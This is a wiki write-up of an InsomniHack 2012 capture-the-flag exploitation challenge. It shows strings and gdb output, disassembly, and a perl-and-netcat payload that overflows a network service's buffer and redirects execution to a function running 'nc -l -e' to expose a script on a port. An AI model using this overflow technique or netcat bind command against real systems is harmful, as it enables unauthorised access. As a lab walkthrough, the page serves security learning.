InsomniHack-2012/Exploitation/3 Taberne

From Fixme.ch
Jump to: navigation, search

We downloaded a file called "toto",

# file toto 
toto: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
 
# strings toto 
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
socket
exit
htons
perror
fork
listen
strlen
bind
read
memcpy
strcat
bzero
system
atoi
close
accept
__libc_start_main
write
snprintf
GLIBC_2.0
PTRh@
[^_]
ERROR writing to socket
nc -l -e /tmp/showpass.sh -p 
ERROR opening socket
ERROR on binding
ERROR on accept
Error on fork
Adieu l'ami, dis-voir c'que c'est ton mot de passe: 
De dieu, tu t'en souviens pas? C'est balot!
 
# ./toto 1234

On a client, we get:

> nc 172.16.199.131 1234
Adieu l'ami, dis-voir c'que c'est ton mot de passe: blabla
De dieu, tu t'en souviens pas? C'est balot!

It's an exploitation, so on the server, we debug the program (it forks, to we follow the child):

# gdb -q ./toto 
(gdb) set follow-fork-mode child
(gdb) set disassembly-flavor intel
(gdb) r 1234
Starting program: /root/toto 1234

On the client, let's do:

> echo  `perl -e 'print "A"x24  '`| nc 172.16.199.131 1234
Adieu l'ami, dis-voir c'que c'est ton mot de passe:

And the server segfaults:

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 1962]
0x41414141 in ?? ()

The backtrace is definitely screwed,

(gdb) bt
#0  0x41414141 in ?? ()
#1  0x0000000a in ?? ()
#2  0x00000006 in ?? ()
#3  0xbfa7476c in ?? ()
#4  0xb7f73ff4 in ?? () from /lib/ld-linux.so.2
#5  0xb7f57b0c in ?? ()
#6  0x00000001 in ?? ()
#7  0xbfa746b4 in ?? ()
#8  0xf3b80002 in ?? ()
#9  0x01c710ac in ?? ()
#10 0x00000000 in ?? ()

so we just have a quick look:

0804888c <checkPass>:
 804888c:       55                      push   ebp
 804888d:       89 e5                   mov    ebp,esp
 804888f:       83 ec 28                sub    esp,0x28
 8048892:       c7 44 24 08 20 00 00    mov    DWORD PTR [esp+0x8],0x20
 8048899:       00 
 804889a:       8d 45 f0                lea    eax,[ebp-0x10]
 804889d:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 80488a1:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 80488a4:       89 04 24                mov    DWORD PTR [esp],eax
 80488a7:       e8 48 fd ff ff          call   80485f4 <read@plt>
 80488ac:       c9                      leave  
 80488ad:       c3                      ret

We shipped 24 bytes, so we wrote the return address. Let break on the ret of checkPass:

(gdb) b *0x80488ad
Breakpoint 1 at 0x80488ad
(gdb) c
Breakpoint 1, 0x080488ad in checkPass ()
Current language:  auto; currently asm
(gdb) x /16wx $esp
0xbfe019ac:	0x41414141	0x0000000a	0x00000007	0xbfe01afc
0xbfe019bc:	0xb7f02ff4	0xb7ee6b0c	0x00000001	0xbfe01a44
0xbfe019cc:	0xb5df0002	0x01c710ac	0x00000000	0x00000000
0xbfe019dc:	0xd4040002	0x00000000	0x00000000	0x00000000

So we rewrote with 0x41414141. What to put here ? By having a very quick look at the binary, there is an interesting function called pwnthis:

(gdb) disassemble pwnthis 
Dump of assembler code for function pwnthis:
0x080487ef <pwnthis+0>:	push   ebp
0x080487f0 <pwnthis+1>:	mov    ebp,esp
0x080487f2 <pwnthis+3>:	push   ebx
0x080487f3 <pwnthis+4>:	sub    esp,0x124
0x080487f9 <pwnthis+10>:	mov    eax,DWORD PTR [ebp+0x8]
0x080487fc <pwnthis+13>:	mov    DWORD PTR [esp+0xc],eax
0x08048800 <pwnthis+17>:	mov    DWORD PTR [esp+0x8],0x8048b18
0x08048808 <pwnthis+25>:	mov    DWORD PTR [esp+0x4],0x5
0x08048810 <pwnthis+33>:	lea    eax,[ebp-0x9]
0x08048813 <pwnthis+36>:	mov    DWORD PTR [esp],eax
0x08048816 <pwnthis+39>:	call   0x80486b4 <snprintf@plt>
0x0804881b <pwnthis+44>:	mov    DWORD PTR [esp+0x4],0x100
0x08048823 <pwnthis+52>:	lea    eax,[ebp-0x109]
0x08048829 <pwnthis+58>:	mov    DWORD PTR [esp],eax
0x0804882c <pwnthis+61>:	call   0x80486a4 <bzero@plt>
0x08048831 <pwnthis+66>:	mov    DWORD PTR [esp+0x8],0x1e
0x08048839 <pwnthis+74>:	mov    DWORD PTR [esp+0x4],0x8048b1b
0x08048841 <pwnthis+82>:	lea    ebx,[ebp-0x109]
0x08048847 <pwnthis+88>:	lea    eax,[ebp-0x109]
0x0804884d <pwnthis+94>:	mov    DWORD PTR [esp],eax
0x08048850 <pwnthis+97>:	call   0x8048644 <strlen@plt>
0x08048855 <pwnthis+102>:	lea    eax,[ebx+eax*1]
0x08048858 <pwnthis+105>:	mov    DWORD PTR [esp],eax
0x0804885b <pwnthis+108>:	call   0x8048634 <memcpy@plt>
0x08048860 <pwnthis+113>:	lea    eax,[ebp-0x9]
0x08048863 <pwnthis+116>:	mov    DWORD PTR [esp+0x4],eax
0x08048867 <pwnthis+120>:	lea    eax,[ebp-0x109]
0x0804886d <pwnthis+126>:	mov    DWORD PTR [esp],eax
0x08048870 <pwnthis+129>:	call   0x8048684 <strcat@plt>
0x08048875 <pwnthis+134>:	lea    eax,[ebp-0x109]
0x0804887b <pwnthis+140>:	mov    DWORD PTR [esp],eax
0x0804887e <pwnthis+143>:	call   0x80485a4 <system@plt>
0x08048883 <pwnthis+148>:	add    esp,0x124
0x08048889 <pwnthis+154>:	pop    ebx
0x0804888a <pwnthis+155>:	pop    ebp
0x0804888b <pwnthis+156>:	ret


So we are going to write the address to return there and break before the system to see the content:

> echo  `perl -e 'print "A"x20 . "\xef\x87\x04\x08" , "AAAA" . "CCCC" '`| nc 172.16.199.131 1234
Adieu l'ami, dis-voir c'que c'est ton mot de passe:

And on the server side:

Breakpoint 2, 0x0804887e in pwnthis ()
(gdb) x /wx $esp
0xbf9e3c64:	0xbf9e3c83
(gdb) x /s 0xbf9e3c83
0xbf9e3c83:	 "nc -l -e /tmp/showpass.sh -p 1128

Amazing, it's gonna open a local port on 1128. You can modify the port, since it's part of the buffer you write


So now, we just need to connect to the remote port to execute the showpass.sh. The server was dead, validation was not possible.

> nc 172.16.199.131 1128